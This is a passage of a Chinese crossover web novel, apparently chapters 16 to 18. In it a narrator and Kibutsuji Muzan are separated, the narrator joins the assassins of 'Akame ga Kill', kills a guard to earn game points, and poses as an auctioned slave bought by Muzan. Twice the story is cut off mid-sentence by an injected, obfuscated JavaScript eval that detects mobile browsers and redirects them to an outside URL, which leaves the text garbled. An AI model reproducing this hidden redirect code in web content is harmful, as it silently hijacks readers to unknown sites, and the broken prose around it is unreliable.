现在应该怎么做?是让鬼舞辻无惨把炸弹丢出去使它在远一点的空中爆炸?但现在无法确定爆炸范围,而且电子屏幕是从“6”开始倒数的,这点时间还不如让他拖着我跑出去来得保险。 “这不是应该出现在这里的东西吧?”无惨指着那炸弹问我,已经做好跳远的打算。 我大叫着“我我我怎么知道啊哪来的炸弹啊”一边死马当活马医,手覆在地面上铺开一片银白色的钙物质。既然珐琅质的钙能坚硬到对外输出,那包裹起来的内部也可以承受比较大的冲击才是。 大地都被爆炸所震颤,为了施术而接触地面的双手手掌被震得发麻,好在钙质防护层只是被炸出了一道裂痕,在闷响过后裂痕里冒出黑烟,随后便平静了下来。 其实有时候吧,也没必要太纠结炸弹的问题,活着就挺好的。 我经常有种能活到现在也挺不容易的感觉。 “活着真好……”我小声感慨,撤掉源石技艺后再看那唐突出现的炸弹。 爆炸后的炸弹已经看不出结构,但零零散散的部件还是表明它绝非这种以魔法为中心的异世界产物。 鬼舞辻无惨捻起一点焦黑的零件看了看,说这炸弹的做工应该挺现代的。 “是你那边的产物吧,这个世界没有这个技术。” 焦油的气味很刺鼻,不过他似乎不会对这种气味感到不适。 我捏着鼻子含糊地说了句“谁弄的炸弹丢到这里”,随即就愣住了。 现实世界,而且是现代时间点,有一颗炸弹被丢过来了? 在《贝克街的亡灵》那边额外多出来的剧情里面,那颗炸弹被正常拆除了,那这个又是哪里来的? 我不禁想到一些令人头疼的可能。 也不怪安兹从游戏穿越异世界后一直与空气为敌,当自己亲身从同样角度思考的时候,难免会多生出几分疑虑。 鬼舞辻无惨说得对,这个世界没有这么精良的化工技术,那炸弹的制作者必然获得了不属于这个世界的知识技能,又或者制作者本身也是另一个世界的人。而说到另一个世界…… 这个游戏莫非还有其他玩家? 知道《OVERLORD》的剧情还能清楚安兹是多虑,但我自己没办法确定那个系统是否还安排了其他人一同参与这种快穿游戏,至少从我以往的阅读和观影经验来看,这个猜想成立的可能性很大。 人是最大的变量,最难控制的因素。如果这趟快穿里有其他玩家,无法确保他们是否会造成威胁,又拥有什么样的技能,那游戏可能就会从维度稍低的PVE演变成需要复杂博弈的PVP。 如果这个系统游戏最后演变成大逃杀类的竞技,我该怎么活到最后? “你在担心其他玩家出现的可能性?”无惨倒是一眼就看出了我站桩站住在想什么,并没有把那种未知的威胁放在心上,“只要你别又因为自己的心理负担下不去手,除掉其他玩家还是很简单的吧——如果他们造成妨碍的话。” “但是PVP太难了,我是说,我在真人博弈这方面没把握,打不过怎么办?”我的意思是我打不过,因为他怎么样我确实都不是很担心。 只要对面没有超模数值怪。 他抬手示意我刚才的炸弹灰烬正在消失,接着往下说:“你不是说那些技能来自于你看过的作品吗?我看你也经常知道些莫名其妙的小把戏,这对你应该不成问题吧。” “啊……我真的有游戏理解吗……” “至少上一次你的表现还不错。” 好难得,居然被鬼舞辻无惨安慰到了。 脚下地面又一次晃动。 一道裂缝在脚底裂开,随后迅速扩大,我连连后退,稳住后竟发现自己和无惨分别站在了裂缝的两边。 方才的炸弹残骸从裂缝中掉下去,在一阵青烟过后,更猛烈的爆炸从裂缝中喷薄而出。 完全没有反应的时间,我整个人都被爆炸产生的余波掀翻在地,浓烟挡住了裂缝对面,熏得人眼睛疼。 “无惨……咳……” 等擦干眼泪再看向前面,裂缝消失不见了,而周边的平原更是变成了森林的景色。 “无……诶?”我爬起来拍掉身上的灰,完全陷入了迷茫。 这是哪里啊! 呃,系统在吗…… 【任务《斩·赤红之瞳》进度0%】 显示完这句话后系统就像死了一样再也不回应了。 我看着那行字里的作品标题心更死了一点。 一定要说的话,在这部作品里帮助好人方完成剧情并没有《OVERLORD》里那么难,最后的结局本来也算好结局,躲起来不参与战事也能拿到保底奖励。 然而这里最危险的地方就在于哪怕不惹事也可能被乱七八糟的人找麻烦,若是为了自保将动静闹大了,就会引来我最不想面对的一些人。 艾斯德斯……这个世界的最强者,我是绝不可能战胜她的。 我更没把握能像塔兹米一样获得她的好感,最好就是永远不要遇到她。 但现在最头疼的是我找不到鬼舞辻无惨了。 “我能定位到我的双排搭档吗?”我不抱希望地问系统,系统给我亮出了道具商城标价200积分的定位道具。 “你m……对不起……那没事了。” 在不消耗积分购买道具的前提下找到无惨,可能必须借助这个世界的力量,能够放心信任的人,估计还只有这个世界的主角团,暗杀组织夜袭了。 可是要怎么找到他们呢……发布委托的方法不对的话,就容易被当作敌人,但他们组织的据点在森林隐秘的位置,硬着头皮找更不可能找到。 等等,积分是不是在什么时候变少了? 之前的任务完成之后总积分应该有250分来着,为什么现在只有200分了? 我急忙打开道具商城,所幸能查看购买记录。 记录显示那个50积分的客服阳光道具又被购买了,这个东西能在一个世界的任务期间持续起效,现在是白昼,那么就是无惨购买并使用了。 行吧,至少不担心他的安危,而且他应该也是在这个世界的。 要不我先买个什么道具给他看看我也还好好活着? 不还是算了吧,他应该不会关注积分变动的,而且说不定我不烦他才是他想要的。 “你在这里站着很久了,想做什么?” 后脖被一个凉凉的尖锐物品顶住,冰冷的声音从后方传来。 这我记得,是作品女主角赤瞳,那么指着我脖子的是…… 是妖刀村雨啊。 好消息,主角团不用找了。 坏消息,村雨只要一划破皮肤就会毒死人。 我举起双手悄悄脖子前倾了一点,尽量远离了一点村雨的刀尖:“我我我,迷路了……好吧我知道这个理由挺扯淡的,那个我就是说,我可以加入你们吗?” 答案当然是否定,赤瞳不会随随便便相信一个来路不明就说要加入他们的人。 “是这样的,我、我有一点点预知未来的能力,是经常在睡梦中看见一些东西,比如说我、我之前就梦见过帝国在战火中毁灭的样子,还有还有,你是赤瞳小姐吗?我梦见过你和艾斯德斯将军战斗……”这话说得我也挺没底气的,如果赤瞳不相信我的话,我就真没招了。 “哎呀哎呀,赤瞳,你把她吓到啦。” 金发的女性绕过赤瞳走到我前面,清凉的穿着和看一眼就忘不了的金发表明她是雷欧奈,她倒算是好说话的,当然前提也是她能相信我不是作恶的人。 “让大姐姐来看看,你掩盖了气息突然出现在这一带,又‘碰巧’遇见赤瞳,说想要加入我们……”她的眼睛变成了危险的猫瞳,“确实很难相信呢。” 我眨眨眼移开视线,回想着剧情又编了一段:“你是,雷欧奈小姐,对吧?我梦见过,你抓住了那个大臣,你……你变成了狮子。” 这个时候就要表现得像个谜语人,神神叨叨的在这里反而能增加可信度。 增加可信度换来的就是我被她们绑了回去。 想要让这些杀手真正相信我并非易事,即便我假借自己有梦中预知未来的能力描述出了她们每个人所持帝具的攻击方式——包括通缉名单上未曾出现过的人——我也依然能感受到身边氛围保留了一丝怀疑。 和男主塔兹米不一样,我并不具备别人一眼就能看出的杀手资质,如果真的要留在这里,也就做些后勤的工作,那更是一种拖累,甚至可能成为隐患。 我看着夜袭基地里的人员,倒是没有少任何一个,看来剧情还在最早期。 第一个牺牲、揭开这部作品高死亡率主线的是希儿,那个帝具是超大剪刀的中华娘。我看向她心说不愧是古早作品的古早萌点,真有些叫人怀念,做出犹豫恐惧交加的表情慢慢说: “我看见了……你被那个子弹击中,被一个犬型的生物咬到……不要!不要去那个任务!” 我不行了。 说真的,夜袭这边也不是没有精通人性的人精,我这种拙劣的演技完全会被识破的。本来要招夜袭的话,最好的方法是在他们某次执行任务的时候装作同行去碰瓷一下,谁知道那系统直接给我传送到他们基地的警戒区来了。 尽管他们也说因为观察到我在那边迟迟没有行动,且只身出现在那不像入侵者,但我的一切言行都还是很可疑。 “说到这个,虽然不知道她哪里来的情报,但我们的下一个任务,希儿和玛茵,确实需要你们去完成。”夜袭的首领娜洁希坦听到这里,发言让有些嘈杂的大厅安静下来,随后直视向我,“但情报里没有提到生物类帝具,那么,你怎么看?” 情报确实没有,因为那个犬型的帝具「魔兽变化·百臂巨人」是自行蹲守的警备员赛琉持有的,这段剧情本身也是她发起的突袭,数种意外情况叠加导致了希儿的死亡。 说起来既然之前的世界里有过支线任务,那这边改变角色的死亡结局是否也能拿到支线奖励?我想起来被鬼舞辻无惨用掉的50积分,虽然那个道具是必要的,但他肯定不会主动救人。 不对,他会吗?如果是变成鬼的话,算不算改变死亡结局活下去? 他要是能直接把一些敌人变成他可以控制的鬼的话,这边的战力就能强化好多了,甚至可以更快一步完成这部作品的任务。 我突然意识到自己在想一些扭曲的计划,但话说回来游戏玩家玩久了自然都会变得不择手段,但那也只是为了获得最终的胜利。算了,放下多余的道德观念吧,现在我必须找到无惨。 不仅是对火力不足的担忧,更是一种无法忍受他不在身边的感觉。 我承认我真的,很喜欢他。这无耻的情感在这段被迫组成双排玩快穿任务的过程中得到了非常大的满足,而现在,我不想和他分开。 “请让我一同前往吧,如果有必要的话,拿我做盾牌挡下敌人的攻击也行。”思考完自己的目标后我干脆放下了一点包袱,直接以口出狂言的方式继续说,“梦境告诉过我,你们是未来的希 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我抬起手让源石技艺的能量在体内转动,钙元素形成力场,打开钙质化的领域。处在钙质化范围内的「百臂巨人」不可避免地受到减速影响,但赛琉口中吐出的枪支子弹还是射中了希儿。 好的一点是在【钙质化】的技能作用下希儿的伤口迅速修复,闭合的肌肉组织吐出弹头,让她迅速恢复行动能力躲开了那张巨大的兽嘴撕咬。 “先撤退,我等会跟上。”我数着时间,算着技能还可以坚持10秒,向她俩喊话。 使用【钙质化】的时候我没办法移开太远的距离,而那条狂化的狗也将新的攻击目标锁定在了我身上,我必须找到最合适的方向,技能的减速效果一结束我就能逃走的那种。 不过……我好像还有些能做的。 虽然可能会大幅度影响剧情,但说不定是隐藏任务。 我向侧面翻滚避开咬击,全力跑向方才希儿与赛琉对战的树林。 说来还有些微妙,我的身法似乎变得比原先更敏捷了,跑动速度也增快了,如果要说是这段时间的经历让我变厉害了点,那我是不信的。不过现在没时间给我纠结这一点了。 地上掉着一把赛琉使用的警备队制式步枪,我跑过的时候一把捞起来,摸索了一下开枪方式,一路跑到失去双臂却依然顽强地站起来、跑来给了希儿一枪的赛琉身后。 什么都不要想,也不要犹豫,我要的就是游戏积分。 注意到我打算做什么的希儿还是站住了脚步,举起手中的帝具「万物两断·消魂」使其发出耀眼的光芒,被强光影响视线的赛琉即便听见脚步转过身,她现在的身体状态也无法支撑她做出反击。 就当作是FPS游戏,击中头部伤害最高。 我举枪瞄准赛琉的鼻尖,扣下扳机。 余光处浮现了【完成隐藏任务,获得积分奖励50分】的字样,我诡异地微笑起来。 唉,变成功利心强的刁民玩家了,但鬼舞辻无惨知道了应该能稍微夸夸我吧,毕竟50积分一下就能赚回他买道具用掉的那些呢。 或许我还挺适合做杀手的,我打着哈哈和夜袭的其他成员这么说着,尽管知道自己只是在游戏利益的催动下才能表现得那么果断。 而首领娜洁希坦沉默着,又拿出一份新的委托书。 “来听听这份委托吧,似乎是帝国半年前上任的皇家顾问,恶行是在每半个月在奴隶市场买下一批奴隶,还有从贫民窟抓走贫民。”她读着委托书上的诉苦,“而那些进入他住处的受害者没有再出来过,连尸体都没有一点。” 读到这里,夜袭的所有人都不同程度地感到气愤,但我怎么觉着好像哪里不太对。 首先这段剧情是原作没有的吧,我不记得有在这个时候出现过哪个暗杀目标符合这样的描述,除非是完全不入流的路人角色,但听上去对方又挺凶残的。 而且我怎么听怎么……不会吧…… 娜洁希坦读完委托内容,开始介绍起这位任务目标: “关于这位皇家顾问,我们的情报人员探查到的信息是,他是半年前上任的,应该是一位帝具使,帝具信息不太明确,可能是变身类帝具。那么他的形象画像是……” 她将卷轴上的画像展示给大家看。 或许夜袭的成员们都有各自的初步印象吧,但我实在有点说不出话来。 随着那张卷轴逐渐转到正面,而娜洁希坦一点点报出这位顾问的姓名,我的心越来越麻。 “任务目标的姓名——月彦。” 17. 第 17 章 我迅速关键词捕捉猛抬头看向娜洁希坦,她看见我突如其来的反应愣了一下,似乎是理解到了其他层面,用有些沉重的语气问我: “你知道他,莫非也是你的仇人?” “啊那倒不是。”我有些心虚地屈膝蹲了下去,在周围充满关怀的目光中举手投降,“真的不是我仇人,只是……也在梦中看见过……是我自己,和他。” “什么?你是说你梦见你会杀死他吗?”塔兹米对我编的火车似乎很相信,毕竟我的谜语人人设还保持得挺好。 我重新站了起来。 “只是梦见过,我会面对他,但关于自己的未来、结局,我从来无法得知。” 娜洁希坦注视着我,将委托书抛了过来,说:“那么,你想接下这次的委托?对你来说可能会很危险哦,他的帝具不亚于帝国最强的那位艾斯德斯。” 他们应该是把鬼舞辻无惨身为鬼的能力都视作帝具带来的了,这样也好,不必暴露他的真实身份。自夸地说我还是有过不少冲浪阅历,这个时候我已经连那个不存在的帝具名字都编好了,希望要用上的时候无惨别拆我台。 我抬手放在自己心口,平静地讲道:“我自己的命运,我会自己去面对,无论遇到什么样的结局,都不会后悔。” “嗯,那么制定计划吧,毕竟想见到他也没那么容易。” 说起来这边世界给的情报居然说鬼舞辻无惨是半年前上任的,但我一来就已经在夜袭的据点领地里了,也就是分开之后他来到了这个世界稍早些的时候。半年间比较频繁地在奴隶市场和贫民窟获取人类,是在做什么实验吗,他应该不会在食欲上有这么夸张的需求才是,更何况奴隶和贫民提供的营养也满足不了他吧。 可是他做什么实验呢,在这里也没有转化鬼去帮他找花的必要,克服阳光的道具也买了,应该也不会是寻找克服阳光的鬼。 “他该不会……是想知道鬼能否装备帝具吧……” “你说什么?” 我的自言自语被一同制定潜入计划的拉伯克听见,他抬头问我,我愣了愣,摆摆手说没什么。 “我有想法了,拉伯克你来伪装成奴隶商人吧,我想想啊,就说是‘异国的精灵少女’吧,那个顾问既然每次都会去奴隶的拍卖会,下一次也必定会有他的。” 没记错的话道具商城里有个10积分的简单易容小道具,用那个稍微把耳部变成精灵的尖耳朵,足够忽悠到拍卖会的人了。 上次完成支线与隐藏任务后现在有了足足280分,买这种便宜道具还是不需要犹豫的。 “可是那样也太不保险了吧,目标真的会信这种说法吗……如果他不会出面买下你的话……”赤瞳坐在旁边提了些建议。 我转过身去偷偷笑了起来:“他会的,因为是命运啊。” 反正在那种拍卖会为了“精灵少女”的噱头买奴隶的也不是什么好人,如果鬼舞辻无惨这次不来,或者不打算做什么的话,杀死买家逃走的本事我也还是有的。 杀无名的坏人NPC能有隐藏奖励吗…… “相信我吧,”我回头看向他们,“如果真的要死的话,杀死我的人也只会是他一人。” 于是现在我坐在笼子里,笼子被推到台前。 易容道具变的尖耳朵很好地骗过了所有人,即便验货的拍卖会负责人用力拽了几下,除了我因真的疼痛而叫出声,其他什么也没有,连我都感叹这易容得也太好了。 “各位老爷别眨眼,我们本场最后的重头大戏,来自异国的精灵少女!” 拍卖师高喊着揭开笼子上的红布,我在突然转换的光线中眯了眯眼。 “货真价实的、只存在于传说中的精灵,对各位老爷来说想必也别有一番风味。如果老爷们不相信的话,请看向她的耳朵吧,或者——来,把刀拿过来。” 我想起来《OVERLORD》里有个路人角色对精灵奴隶的处理方式好像是割掉她们的耳尖,这拍卖师要拿刀来的话,无非是想用血验证耳朵的真实。 既然连拉扯的痛感都有,那刀割肯定是会流血的,不过这本来也不是我的耳朵,这样的伤影响不到我自己,顺着痛觉反应表现出来就好了。 尖耳被扯住,凉凉的刀刃贴上耳根,我露出有些难堪的神情。 威严的男声在疼痛传来之前打断了台上的举动,台下兴奋地等着观看“精灵少女”痛苦神情的贵族们带着失望和愠怒望向声音来源,却在认出来者后噤声下来。 “若是为了验货就割掉精灵的耳朵,未免太暴殄天物了。” 我眨眨眼看过去,又马上闭上了眼睛。 没什么别的意思,只是怕自己一直看着鬼舞辻无惨会忍不住笑场。 他一路走到台前从拍卖师手中拿过小刀,在我没反应过来的时候利落地用刀在我耳尖上划下,几滴血顺着耳朵翘起的角度淌到我脸上,连他眼中都有了几分惊讶。 我带着点幽怨抬眸看他,他转过头视而不见。 拍卖师后退几步谄媚地笑起来:“顾问大人今日也大驾我们的拍卖会,是有什么看中的拍品吗?” 伪装身份很高的无惨瞥了我一眼,手中把玩着刀具,指向坐在笼中的我: “这不是你们的重头戏,货真价实的精灵嘛,直接开价吧。” 被丢进他宅邸房间的时候,我看着一脸玩味的鬼舞辻无惨,我说他就是拿自己在这里的身份等级压得别人都不敢出价竞拍。 他说没有他我今天就会死在无人知道的角落。 他让我消停点,说:“你就这么确信我会出现,并且把你从那里买下来?” 我看着坐在椅子上翘着腿的鬼,站起身走到他旁边拉开另一张椅子坐下。 “我相信你不会真的丢下我不管的,对吗?”我对他眨眨眼。 “我后悔了,现在就叫人把你送回那边。” “哎哎哎别嘛,不就是让你少了顿晚饭,我谢谢你来救我行了吧。”他正欲起身,我侧身倾过去拉住他的胳膊,“没你不行,真的,我一开始发现你不在身边就紧张出汗发抖失眠……” 他抽手甩开我,重新坐好,手肘撑在椅子扶手上托着脸打断我:“少说两句。既然自诩了解我,那就别揣着明白装糊涂。” 我也重新坐正。 “你是不是想试试给鬼装备帝具,或者把帝具使变成鬼?”我用手指敲着扶手,在看见他没有反对的意思后确定了自己的猜想,“我说,你该不会想把艾斯德斯转化成鬼吧?” 他也默认了。 我差点从椅子上摔下去。 “很危险吧我靠,她要变成鬼,这个世界的主线剧情真没法过了。”我试图从无惨脸上找到一点否认的意思,但可惜的是没有,或者说他至少真的有过这个想法。 开什么玩笑!人类之身的她都是赤瞳赌上性命又是吃强化药又是使用帝具奥义才能战胜的,变成不死的鬼之后岂不是更没有弱点,而且是那个艾斯德斯的话,还有另一个更恐怖的可能。 “说说吧,你了解的剧情。”早来半年的无惨应该已经对这个世界的基本运行规则了如指掌了,他不知道的只有剧情,还有剧情中未曾提到的角色秘密,“我知道那个女人不是好对付的存在,她的能力和童磨相似,那个‘帝具’是什么?” “是一种危险种的血,她胸前的印记就来自于那个帝具,原本大概喝一口就能获得能力——如果能控制住的话——她把一壶全喝了。”我说着,手指指上自己胸前同样的位置,“她的灵魂甚至制服了那个帝具所属危险种的灵魂,说真的,把她变成鬼的话,脱离控制了可不好收场。” 鬼舞辻无惨若有所思。 他必定不会允许世界上有另一个和他一样,甚至比他还强的鬼存在的,对拥有那种可能性的人类,他也绝不会愿意去将他们变成鬼,给自己增加不稳定因素。 我想或许他在自己的观察中已经确定艾斯德斯是什么样的人了,也决定好了不会贸然尝试转化她,问我也只是得到最终确定的结论。 “不过话说回来啊。”我出声喊他,“你用了克服阳光的道具对吧,那现在你也不用在这个世界找青色彼岸花,还尝试给鬼装备帝具做什么?” 他被我打断思路,皱了皱眉,随口说了一句:“没什么,找点打发时间的东西。” 我笑了一声,他不满地扫过来一眼。 也并不算意料之外,不知道剧情的他应该也不会主动去帮助夜袭组织,进入这个帝国也只是找了个方便伪装的身份,除此之外他也不会做什么多余的事情了。 有点想犯个贱问他是不是没我也不行,但看他在这边过得也挺不错的,我不禁想到《斩·赤红之瞳》结局里对帝国的讨伐,如果是无惨的话就算到了那个情节应该也会自己离开帝国,换个地方待着的。好像确实……没我说不定也不影响什么…… “别丢下我好吗……”张口半天,我没头没尾地说了一句。 鬼舞辻无惨似乎是来了兴致,勾唇说:“那你最好表现得有用一点。” “有,我可有用了。”我从椅子上站起来走到他面前,就差右手握拳放在左胸献出心脏了,“要不这样吧我不信你之前弄这么多人回来没吃过一个,我今天让你没有晚饭吃了,你想吃什么随便点,内脏什么的拿出来也不会马上死,我可以用钙质化给自己治疗。” 或许是习惯了我偶尔口出狂言的行为,他不再表现出困惑的神色,反而顺着我的话往下说:“如果你这么积极地献殷勤,我又怎么好拒绝呢?不如直接全部吃掉,这样也算没丢下你了。” 这下换我愣住了。 虽然说也不是不可以,但是我设想的“可能被他吃掉”这种事情应该会发生得再晚些,或者更准确地说,是我还没觉得自己跟他关系好到能让他对我的评价到达可以入口的那个标准。 “那我,把剧情告诉你,你之后自己看着办?”我两手食指互相戳着指尖,偷偷瞄向旁边。 前方传来轻笑声。 “你究竟在期待什么?” 好嘛!结果他还是在耍我。 “我确实有点期待……算了那我走了,就说暗杀不成功我逃回去了。”我转身要走,却被鬼舞辻无惨拉住胳膊往回拽了点。 他突然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679149|173202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转向了新的话题:“你就必须要去那个幼稚的暗杀组织?他们的规矩甚至都比不上鬼杀队吧,先说好,如果你真的回去,之后我就不会再管你的死活了。” “可是那不是主线任务嘛,我前几天刚顺手做了一个支线一个隐藏,赚了80积分你没看见吗?” 他说了句“不关心”便起身走到房间的落地窗前,低头俯视着下方王都内的建筑群,随后转过身来看向我:“你说的主线任务,不就是毁灭这个人类国家吗?那么就一定要像蠢货一样,一个个送死,才能做到吗?” 我语塞住。 理论上来说他讲的也不算错,现实中的兴亡更替大多时候都没有夜袭这种暗杀组织,但同样也不会有艾斯德斯这种恐怖的战力,更不会有帝国那年幼的皇帝最后用到的像高达一样的帝具。 所以这部作品才会有夜袭当主角团,也算是一种战力平衡,不然哪怕再怎么像现实历史那样发生社会变革,强大的帝具使只需要一招就能制服上万人。 “我之前就说过的,白夜,你又下意识站在了更符合‘道德’的那一方不是吗?”他冷笑着说,我顶着他审视的目光走到他身旁也往下看王都,他接着说,“为什么不换个角度看看这个世界呢?人类口中的道德,其实根本算不了什么。” 我没有回答他,只是向他提问:“你为什么要加入到帝国的这些人里,无惨,为什么伪装身份选择的是皇帝顾问?” “别理解错了,这种程度算不上加入,我根本不关心这个人类国家的未来,只是这个身份比较方便罢了,不会被不识好歹的人找麻烦,也能更容易得到自己想要的。” 无惨从窗边走开,走过我身边时抬手按在我肩上,低下头在我耳边继续说了下去。 “人类的变革也就那么回事,换个角度想想,就算我做了什么,站在这个位置,不也是加速这个国家的毁灭吗?反正结果也是你想要的,完成你的‘主线任务’。” 他说的,也不错。 作品中大部分路人也是和现实一样的“沉默的大多数”,这些人随着剧情推进逐渐萌生反抗帝国统治的意识,原因也无非是帝国的暴虐日益加剧。夜袭正是借着人们对帝国的不满而诞生的暗杀组织,有更多的人不满,就会有人想委托他们暗杀,他们越暗杀恶人,就会有更多的人支持他们。 鬼舞辻无惨对人类社会的演变无疑是了解的,他那千年的生命中经历过太多类似的场面,所以当系统给出了对照原作结局的任务目标,高傲如他不会去伙同暗杀团队当杀手,但他会搅乱混水,确实是加快剧情进程的做法。 所以他认为我也该留在这里吗…… 这个时候不知该不该为他将我纳入自己的势力范围内而感到高兴,尽管他把选择的机会留给了我,但很明显我的选择也决定了我和他以后的关系。 在这个死亡率高的世界尽快完成任务跑路当然是好的啦,但留在这边可能就没办法完成主角团夜袭那边的一些支线任务了,如果我和他说我回去混点分再来他能同意吗…… “说起来,你就这样回去,没带任何成果,自己也没缺胳膊少腿,他们真的会相信你是撤退的,还是被收买了卧底在他们那边呢?”无惨似乎又是知道我在想什么,不合时宜地提起了夜袭,“你说呢,刚加入夜袭没多久的、来路不明的‘预言家’?” 好吧,也必须承认即使夜袭代表了正义,职业是杀手的他们肯定还是有基础规矩的,我就这样返回,确实很容易被当作叛徒从而处理掉。娜洁希坦并不是优柔寡断的人,她必须为了夜袭和革命军的未来着想。 “但我不太希望他们日后再将你当作暗杀目标来找你的麻烦,那对所有人都不利。”我如实告诉他自己现在最后担心的事,不过在说出来之后突然想到了一个解决的办法。 从现状出发我确实没资格总是反对无惨的决定,因为大部分的时候战斗都要依靠他,我再提要求是有点过分了。 我会尝试转换自己的思维的,我想,从我开始摸清游戏模式、并尝试当分奴的时候,就该将现实道德和这个游戏中的行为分开了。 “我想到办法了,说不定还能坐好你的身份。” 无惨放开我的肩膀继续往后走,我转身拉出他的手。 编一套合理的有关帝具的说辞,落脚点落在“他暂时留我一条命”的结论上,并主动提出我留在这里帮助他们获得更多帝国王室之内的情报,等未来有机会再完成刺杀和撤退的事。 我把这些告诉他,他看上去还算满意。 “那你现在运气不好,晚饭的内脏只能换成血了。”我用空闲的手扯开一点装扮成奴隶时穿上的粗麻布长裙领子,给他露出自己的脖子。 他抽出被我拉住的手,不加力气地扼在我脖颈前,尖锐的指甲前端轻轻刮着我的皮肤,有些微妙的刺痒。 我被他此时亲密过头的动作弄得有点尴尬,眨眨眼目光闪躲着没敢看他,刚才拉住他的手轻轻落在同一位置,食指勾住他的拇指。 即便之前已经一起旅行这么久了,到这时我的脑中还是只剩下一个念头了。 我真的,很喜欢他。 18. 第 18 章 “总得来说,情况就是这样。” 因为到了预定的时间没有发出信号,也并没有返回集合点,感到不妙的赤瞳和拉伯克决定冒险潜入查看我的情况。帝具是金属钢丝的拉伯克从屋顶吊到窗前,蹲在窗台上听我讲完了我编的那套说法。 皇帝顾问月彦的帝具名为「百鬼夜行」,和雷欧奈的「狮子王」同属一种类型,强化人体并改变部分外形,但此帝具有个恶劣的副作用,使用者会对人感到食欲,需要进食大量人类维持自身理智与精力。 或许是因为我的预知能力,我的血液中似乎已经含有了比别人更多的能量,让这个顾问改变了主意,想留我一段时间作为长期能量来源。我正好借机潜伏在他身边,获得更多情报,顺便找到更多他的弱点,等之后一举击杀他。 以上,都是我临时编的。 我用认真的神色告诉拉伯克的时候,这个本就对女生没有太大抵抗力的青年基本上全信了。 当然他相信我的另一个原因是我衣领上晕开的一大片暗红色血迹。 我觉得自己跟鬼舞辻无惨应该还是有那么点默契的。他的牙刺入了比较深的地方,并且有意无意地让血液从伤口流出,弄出比较狰狞的模样。 事实上除了缺血导致的晕眩,我没有感到其他不适,顺理成章耍赖挂在无惨身上的时候,他捏了捏那对道具作用下变化出来的精灵尖耳,随口感叹了一下那个系统给的易容道具变出的拟态确实逼真。 脖子上的两个血洞呈现出皮肉外翻的状态,干涸的血渍留在周围的皮肤上,我顺便举起左手给拉伯克看了眼手腕上被掐出来的红痕,虽然大概也是因为我在他吸我血的时候嘴贱调侃了他几句被他报复的…… 但总之理想效果是达到了。 “但你这么做很危险,不如趁他没注意这边先撤退吧。”拉伯克手中抓着几根钢丝,示意我只要将它们绕在自己身上,他就能带我下去。 我拒绝了他:“不豁出去怎么收益最大化?我能保护好自己,你和赤瞳先离开,他的五感很敏锐,说不定马上就来了。” 身后也适宜地响起推门声。实际上无惨一直都在那边,也是我提前和他说好的,演出的一部分。 我上前几步走近窗台,挡住一部分拉伯克的身形,让他尽快离开。而在他收回钢丝上升之前,我给他留了一句:“夜袭的名声越来越响,帝国很可能假借夜袭名头毁坏大家的名誉,还有,让布兰德先生小心有水的地方。” 鬼舞辻无惨走进屋内的时候窗口的人已经迅速撤离了,我向上瞥了一眼,转身快步走到他身边,轻轻喊了一声:“主人……” 他的目光越过我,看向洒进月光的窗口。 “你想逃跑吗?别做没有意义的事情。”他的手按在我肩上微微发力,连带着伤口周边都有些发疼。 “没有的,主人,您能让我这样活着,我已经很感谢您了。” 无惨顿了顿,松开了手:“他应该已经走了。” 我清清嗓子放松了夹起的音调,又走到窗边探出头看了看,外面确实没有任何人影了。 “好,确认现在只有我们咯,那就来梳理一下作品的原剧情吧,看看你有什么计划。”我双手扒在窗台上,回头朝他笑起来,“不过说起来,我想先听听评价呢,你刚才都没说,我的血味道怎么样?就算不是稀血至少也不会难……” 他几乎是直接打断了我,直截了当地说:“很难喝。” 我后半句话卡在喉咙里,忍了又忍,尝试给自己找点颜面。我重新问他:“那是因为我们还有点默契、让你制造一些看着严重的伤口,所以你才让那么多血都流下来而不是喝掉的吗?” “不是,只是因为味道很差,不想喝下去。” 我再忍忍呢。 他看着我一怒之下怒了一下的眼神,嘲弄地笑起来,告诉我:“这回可没骗你,我如实相告,你还不满意吗?” “不是那怎么会难喝呢!普通血型到鬼嘴里就算不如稀血,至少也是个能下嘴的味吧!”我苍白地为自己找补,尽管找补的方面有些怪,“无惨大人是不是太挑食了,哦也对,毕竟是只要想就没有得不到的东西的鬼王大人,我这种层次的确实入不了您的眼,臣这就告退了,这一退就是一、辈……子……” 经过这么长时间无惨大概是对我的阴阳怪气免疫了,只是坐在房间的床上无言看着我语气变得微妙起来,而我又被他看得声音渐小下去,最后抿抿唇用棒读的嗓音给他说了句对不起。 “事实上,我也感到奇怪。”等我闹腾完了之后,他开口说了自己喝我的血的感受,“你的血液中含有比稀血还要充足的营养和能量,连我都能感受到,自己体内的力量得到了强化;但是……味道确实很差。” “哪方面的差嘛……都有能量了还能味道差啊……” “鬼在味觉上尝不出太多变化,但你的血明显发苦,甚至,有种化工材料的味道,尽管很淡,但确实影响了血液口感。”他给出了一条奇怪的评价,但他看上去确实是认真在说这件事的,只是我和他都不知道为什么会有这种事。 为什么是化工材料?人血里有化工成分了还不得出大问题了,是无惨味觉出错了还是什么不得了的预兆? “对了,你的体温偏高,你生病了?”他皱眉看向我,我抬手摸摸自己额头,似乎没什么异常热度。 “没有吧,你看我现在活蹦乱跳的。”我放下手看着他,突然意识到了什么,凑过去小声问道,“你在关心我?” 他将我推开了。“人类的体质太脆弱了,只是提醒你,别因为你的身体有问题,耽误整体计划。”随后便离开了房间,门外传来落锁的声音,我有些脏话憋在口中。 所以为什么锁门啊! 我怀疑他可能是享受扮演主从关系的戏码的。 算了,毕竟我也不讨厌。 一只鸽子在几天后的白天带过来一条信息,而在那之前我倒也猜出来信息内容了。 